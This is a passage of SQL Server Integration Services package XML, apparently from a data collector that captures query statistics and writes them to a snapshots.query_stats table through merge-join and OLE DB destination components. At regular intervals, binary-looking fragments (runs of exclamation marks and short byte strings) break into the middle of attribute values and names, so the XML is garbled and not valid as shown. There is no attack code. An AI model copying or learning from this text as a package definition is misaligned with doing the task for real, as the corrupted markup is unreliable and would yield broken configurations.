cachedName="total_logical_reads" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].Columns[total_logical_reads]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Inputs[Merge Join Right Input].Columns[total_clr_time]" cachedDataType="i8" cachedName="total_clr_time" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].Columns[total_clr_time]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Inputs[Merge Join Right Input].Columns[total_elapsed_time]" cachedDataType="i8" cachedName="total_elapsed_time" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].Columns[total_elapsed_time]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Inputs[Merge Join Right Input].Columns[execution_count]" cachedDataType="i8" cachedName="execution_count" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].Columns[execution_count]"/></inputColumns><externalMetadataColumns/></input></inputs><outputs><output refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output]" isSorted="true" name="Merge Join Output"><outputColumns><outputColumn 	!!!!!!!!!!!!!!!!!!!!!!!!`:HvrefId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[statement_start_offset]" dataType="i4" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[statement_start_offset]" name="statement_start_offset" sortKeyPosition="3"><properties><property containsID="true" dataType="System.Int32" description="The input column associated with this output column" name="InputColumnID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Inputs[Merge Join Left Input].Columns[statement_start_offset]}</property></properties></outputColumn><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[statement_end_offset]" dataType="i4" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[statement_end_offset]" name="statement_end_offset" sortKeyPosition="4"><properties><property containsID="true" dataType="System.Int32" description="The input column associated with this output column" name="InputColumnID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Inputs[Merge Join Left Input].Columns[statement_end_offset]}</property></properties></outputColumn><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[plan_generation_num]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[plan_generation_num]" name="plan_generation_num" sortKeyPosition="5"><properties><property containsID="true" dataType="System.Int32" description="The input column associated with this output column" name="InputColumnID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Inputs[Merge Join Left Input].Columns[plan_generation_num]}</property></properties></outputColumn><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[creation_time]" dataType="dbTimeStamp" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[creation_time]" name="creation_time"><properties><property containsID="true" dataType="System.Int32" description="The input column associated with this output column" name="InputColumnID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Inputs[Merge Join Left Input].Columns[creation_time]}</property></properties></outputColumn><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Jo	!!!!!!!!!!!!!!!!!!!!!!!!`:'f/HqHvin Output].Columns[last_execution_time]" dataType="dbTimeStamp" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[last_execution_time]" name="last_execution_time"><properties><property containsID="true" dataType="System.Int32" description="The input column associated with this output column" name="InputColumnID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Inputs[Merge Join Left Input].Columns[last_execution_time]}</property></properties></outputColumn><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[execution_count]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[execution_count]" name="execution_count"><properties><property containsID="true" dataType="System.Int32" description="The input column associated with this output column" name="InputColumnID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Inputs[Merge Join Left Input].Columns[execution_count]}</property></properties></outputColumn><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[total_worker_time]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[total_worker_time]" name="total_worker_time"><properties><property containsID="true" dataType="System.Int32" description="The input column associated with this output column" name="InputColumnID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Inputs[Merge Join Left Input].Columns[total_worker_time]}</property></properties></outputColumn><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[total_physical_reads]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[total_physical_reads]" name="total_physical_reads"><properties><property containsID="true" dataType="System.Int32" description="The input column associated with this output column" name="InputColumnID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Inputs[Merge Join Left Input].Columns[total_physical_reads]}</property></properties></outputColumn><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[total_logical_writes]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].C	!!!!!!!!!!!!!!!!!!!!!!!!`:'PHvolumns[total_logical_writes]" name="total_logical_writes"><properties><property containsID="true" dataType="System.Int32" description="The input column associated with this output column" name="InputColumnID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Inputs[Merge Join Left Input].Columns[total_logical_writes]}</property></properties></outputColumn><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[total_logical_reads]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[total_logical_reads]" name="total_logical_reads"><properties><property containsID="true" dataType="System.Int32" description="The input column associated with this output column" name="InputColumnID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Inputs[Merge Join Left Input].Columns[total_logical_reads]}</property></properties></outputColumn><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[total_clr_time]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[total_clr_time]" name="total_clr_time"><properties><property containsID="true" dataType="System.Int32" description="The input column associated with this output column" name="InputColumnID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Inputs[Merge Join Left Input].Columns[total_clr_time]}</property></properties></outputColumn><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[total_elapsed_time]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[total_elapsed_time]" name="total_elapsed_time"><properties><property containsID="true" dataType="System.Int32" description="The input column associated with this output column" name="InputColumnID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Inputs[Merge Join Left Input].Columns[total_elapsed_time]}</property></properties></outputColumn><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[max_worker_time]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[max_worker_time]" name="max_worker_time"><properties><property containsID="true" dataType="System.Int32" description="The input column associated with this output column" name="InputColumnID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\D	!!!!!!!!!!!!!!!!!!!!!!!!`:'HvFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Inputs[Merge Join Left Input].Columns[max_worker_time]}</property></properties></outputColumn><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[min_worker_time]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[min_worker_time]" name="min_worker_time"><properties><property containsID="true" dataType="System.Int32" description="The input column associated with this output column" name="InputColumnID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Inputs[Merge Join Left Input].Columns[min_worker_time]}</property></properties></outputColumn><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[min_physical_reads]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[min_physical_reads]" name="min_physical_reads"><properties><property containsID="true" dataType="System.Int32" description="The input column associated with this output column" name="InputColumnID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Inputs[Merge Join Left Input].Columns[min_physical_reads]}</property></properties></outputColumn><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[max_physical_reads]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[max_physical_reads]" name="max_physical_reads"><properties><property containsID="true" dataType="System.Int32" description="The input column associated with this output column" name="InputColumnID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Inputs[Merge Join Left Input].Columns[max_physical_reads]}</property></properties></outputColumn><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[min_logical_writes]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[min_logical_writes]" name="min_logical_writes"><properties><property containsID="true" dataType="System.Int32" description="The input column associated with this output column" name="InputColumnID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Inputs[Merge Join Left Input].Columns[min_logical_writes]}</property></properties></outputColumn><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and tex	!!!!!!!!!!!!!!!!!!!!!!!!`:'>EBHvt\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[max_logical_writes]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[max_logical_writes]" name="max_logical_writes"><properties><property containsID="true" dataType="System.Int32" description="The input column associated with this output column" name="InputColumnID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Inputs[Merge Join Left Input].Columns[max_logical_writes]}</property></properties></outputColumn><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[min_logical_reads]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[min_logical_reads]" name="min_logical_reads"><properties><property containsID="true" dataType="System.Int32" description="The input column associated with this output column" name="InputColumnID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Inputs[Merge Join Left Input].Columns[min_logical_reads]}</property></properties></outputColumn><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[max_logical_reads]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[max_logical_reads]" name="max_logical_reads"><properties><property containsID="true" dataType="System.Int32" description="The input column associated with this output column" name="InputColumnID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Inputs[Merge Join Left Input].Columns[max_logical_reads]}</property></properties></outputColumn><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[min_clr_time]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[min_clr_time]" name="min_clr_time"><properties><property containsID="true" dataType="System.Int32" description="The input column associated with this output column" name="InputColumnID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Inputs[Merge Join Left Input].Columns[min_clr_time]}</property></properties></outputColumn><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[max_clr_time]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - App	!!!!!!!!!!!!!!!!!!!!!!!!`:'[B{Hvend last stats on interesting queries.Outputs[Merge Join Output].Columns[max_clr_time]" name="max_clr_time"><properties><property containsID="true" dataType="System.Int32" description="The input column associated with this output column" name="InputColumnID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Inputs[Merge Join Left Input].Columns[max_clr_time]}</property></properties></outputColumn><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[min_elapsed_time]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[min_elapsed_time]" name="min_elapsed_time"><properties><property containsID="true" dataType="System.Int32" description="The input column associated with this output column" name="InputColumnID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Inputs[Merge Join Left Input].Columns[min_elapsed_time]}</property></properties></outputColumn><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[max_elapsed_time]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[max_elapsed_time]" name="max_elapsed_time"><properties><property containsID="true" dataType="System.Int32" description="The input column associated with this output column" name="InputColumnID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Inputs[Merge Join Left Input].Columns[max_elapsed_time]}</property></properties></outputColumn><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[collection_time]" dataType="dbTimeStamp" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[collection_time]" name="collection_time"><properties><property containsID="true" dataType="System.Int32" description="The input column associated with this output column" name="InputColumnID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Inputs[Merge Join Left Input].Columns[collection_time]}</property></properties></outputColumn><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[sql_handle]" dataType="bytes" length="64" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[sql_handle]" name="sql_handle" sortKeyPosition="1"><properties><property containsID="true" dataType="System.Int32" description="The input column associated with this output column" name="InputColumnID">#{Package\SEQ - Capture	!!!!!!!!!!!!!!!!!!!!!!!!`:'9)Hv and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Inputs[Merge Join Left Input].Columns[sql_handle]}</property></properties></outputColumn><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[plan_handle]" dataType="bytes" length="64" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[plan_handle]" name="plan_handle" sortKeyPosition="2"><properties><property containsID="true" dataType="System.Int32" description="The input column associated with this output column" name="InputColumnID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Inputs[Merge Join Left Input].Columns[plan_handle]}</property></properties></outputColumn><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[snapshot_id]" dataType="i4" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[snapshot_id]" name="snapshot_id"><properties><property containsID="true" dataType="System.Int32" description="The input column associated with this output column" name="InputColumnID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Inputs[Merge Join Left Input].Columns[snapshot_id]}</property></properties></outputColumn><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[old_total_worker_time]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[old_total_worker_time]" name="old_total_worker_time"><properties><property containsID="true" dataType="System.Int32" description="The input column associated with this output column" name="InputColumnID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Inputs[Merge Join Right Input].Columns[total_worker_time]}</property></properties></outputColumn><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[old_total_physical_reads]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[old_total_physical_reads]" name="old_total_physical_reads"><properties><property containsID="true" dataType="System.Int32" description="The input column associated with this output column" name="InputColumnID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Inputs[Merge Join Right Input].Columns[total_physical_reads]}</property></properties></outputColumn><outputColumn refId="Pa	!!!!!!!!!!!!!!!!!!!!!!!!`:' >4Hvckage\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[old_total_logical_writes]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[old_total_logical_writes]" name="old_total_logical_writes"><properties><property containsID="true" dataType="System.Int32" description="The input column associated with this output column" name="InputColumnID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Inputs[Merge Join Right Input].Columns[total_logical_writes]}</property></properties></outputColumn><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[old_total_logical_reads]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[old_total_logical_reads]" name="old_total_logical_reads"><properties><property containsID="true" dataType="System.Int32" description="The input column associated with this output column" name="InputColumnID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Inputs[Merge Join Right Input].Columns[total_logical_reads]}</property></properties></outputColumn><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[old_total_clr_time]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[old_total_clr_time]" name="old_total_clr_time"><properties><property containsID="true" dataType="System.Int32" description="The input column associated with this output column" name="InputColumnID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Inputs[Merge Join Right Input].Columns[total_clr_time]}</property></properties></outputColumn><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[old_total_elapsed_time]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[old_total_elapsed_time]" name="old_total_elapsed_time"><properties><property containsID="true" dataType="System.Int32" description="The input column associated with this output column" name="InputColumnID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Inputs[Merge Join Right Input].Columns[total_elapsed_time]}</property></properties></outputColumn><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[old_execution_count	!!!!!!!!!!!!!!!!!!!!!!!!`:Hv]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[old_execution_count]" name="old_execution_count"><properties><property containsID="true" dataType="System.Int32" description="The input column associated with this output column" name="InputColumnID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Inputs[Merge Join Right Input].Columns[execution_count]}</property></properties></outputColumn></outputColumns><externalMetadataColumns/></output></outputs></component><component refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Save statistics for interesting queries" componentClassID="{4ADA7EAA-136C-4215-8098-D7A7C27FC0D1}" contactInfo="OLE DB Destination;Microsoft Corporation;Microsoft SqlServer v9; (C) 2005 Microsoft Corporation; All Rights Reserved; http://www.microsoft.com/sql/support;4" description="OLE DB Destination" name="ODD - Save statistics for interesting queries" usesDispositions="true" version="4"><properties><property dataType="System.Int32" description="The number of seconds before a command times out.  A value of 0 indicates an infinite time-out." name="CommandTimeout">0</property><property dataType="System.String" description="Specifies the name of the database object used to open a rowset." name="OpenRowset">[snapshots].[query_stats]</property><property dataType="System.String" description="Specifies the variable that contains the name of the database object used to open a rowset." name="OpenRowsetVariable"/><property dataType="System.String" description="The SQL command to be executed." name="SqlCommand" UITypeEditor="Microsoft.DataTransformationServices.Controls.ModalMultilineStringEditor, Microsoft.DataTransformationServices.Controls, Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91"/><property dataType="System.Int32" description="Specifies the column code page to use when code page information is unavailable from the data source." name="DefaultCodePage">1252</property><property dataType="System.Boolean" description="Forces the use of the DefaultCodePage property value when describing character data." name="AlwaysUseDefaultCodePage">false</property><property dataType="System.Int32" description="Specifies the mode used to access the database." name="AccessMode" typeConverter="AccessMode">3</property><property dataType="System.Boolean" description="Indicates whether the values supplied for identity columns will be copied to the destination. If false, values for identity columns will be auto-generated at the destination. Applies only if fast load is turned on." name="FastLoadKeepIdentity">false</property><property dataType="System.Boolean" description="Indicates whether the columns containing null will have null inserted in the destination. If false, columns containing null will have their default values inserted at the destinaton. Applies only if fast load is turned on." name="FastLoadKeepNulls">false</property><property dataType="System.String" description="Specifies options to be used with fast load.  Applies only if fast load is turned on." name="FastLoadOptions">CHECK_CONSTRAINTS</property><property dataType="System.Int32" description="Specifies when commits are issued during data insertion.  A value of 0 specifies that one commit will be issued at the end of data insertion.  Applies only if fast load is turned on." name="FastLoadMaxInsertCommitSize">0</property></properties><connections><connection refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Save statistics for interesting queries.Connections[OleDbConnection]" connectionManagerID="Package.Con	!!!!!!!!!!!!!!!!!!!!!!!!`:KHvnectionManagers[MdwConnection]" connectionManagerRefId="Package.ConnectionManagers[MdwConnection]" description="The OLE DB runtime connection used to access the database." name="OleDbConnection"/></connections><inputs><input refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODD - Save statistics for interesting queries.Inputs[OLE DB Destination Input]" errorOrTruncationOperation="Insert" errorRowDisposition="FailComponent" hasSideEffects="true" name="OLE DB Destination Input"><inputColumns><inputColumn refId="Package\SEQ - Capture and analyze query statistics and 